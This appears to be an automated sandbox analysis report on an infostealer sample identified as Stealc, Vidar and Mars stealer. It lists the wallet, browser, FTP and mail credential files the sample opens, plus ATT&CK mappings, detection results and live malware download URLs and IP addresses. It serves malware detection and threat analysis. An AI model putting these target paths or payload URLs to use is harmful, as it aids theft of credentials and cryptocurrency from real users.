Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\j7iUba2bki.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\j7iUba2bki.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: j7iUba2bki.exe PID: 4712, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 11.2.8550c65a2f.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.j7iUba2bki.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2341495312.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2215514632.0000000001744000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: j7iUba2bki.exe PID: 4712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8550c65a2f.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 11.2.8550c65a2f.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.j7iUba2bki.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2211871328.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2340624918.0000000000301000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: j7iUba2bki.exe PID: 4712, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
j7iUba2bki.exe	53%	ReversingLabs	Win32.Spyware.Stealc
j7iUba2bki.exe	41%	Virustotal		Browse
j7iUba2bki.exe	100%	Avira	TR/Crypt.ZPACK.Gen
j7iUba2bki.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php$R	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dll:h	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	27%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://77.91.77.81/mine/amadka.exeAm	100%	Avira URL Cloud	phishing
http://77.91.77.81/cost/go.exe	27%	Virustotal		Browse
http://85.28.47.4/	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe9	100%	Avira URL Cloud	phishing
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php0R	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Virustotal		Browse
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php-	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/softokn3.dll	6%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	22%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php	19%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php-	21%	Virustotal		Browse
http://85.28.47.4/	15%	Virustotal		Browse
http://85.28.47.4/920475a59bac849d.php&a	100%	Avira URL Cloud	malware
